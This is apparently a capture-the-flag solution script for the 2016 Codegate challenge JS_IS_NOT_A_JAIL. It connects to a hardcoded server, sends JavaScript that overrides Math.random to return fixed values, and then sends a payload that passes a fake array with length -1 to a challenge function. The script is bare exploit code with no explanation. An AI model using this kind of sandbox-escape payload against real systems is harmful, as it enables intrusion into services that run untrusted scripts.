2016 codegate JS_IS_NOT_A_JAIL exploit only

from socket import *

from struct import *

import re

host = '175.119.158.131'

port = 1129

sock = socket(AF_INET, SOCK_STREAM)

sock.connect((host, port))

i=1

#20150303

a= "tmp =0; Math.random = function(){"

a += "if(tmp==0){ var c = 0.23; }"

a += "else if(tmp==1){ var c = 0.22; }"

a += "else if(tmp==2){ var c = 0.24; }"

a += "else if(tmp==3){ var c = 0.32; }"

a += "else if(tmp==4){ var c = 0.22; }"

a += "else if(tmp==5){ var c = 0.41; }"

a += "else if(tmp==6){ var c = 0.22; }"

a += "else if(tmp==7){ var c = 0.41; }"

a += "tmp++; return c;}"

sock.send(a + "\n")

print sock.recv(1024)

print sock.recv(1024)

print sock.recv(1024)

payload = "o = new Object(); o.length=-1; Object.setPrototypeOf(o,Array.prototype); challenge100(o);"

sock.send(payload + "\n")

print sock.recv(1024)

print sock.recv(1024)

print sock.recv(1024)

print sock.recv(1024)

print sock.recv(1024)

print sock.recv(1024)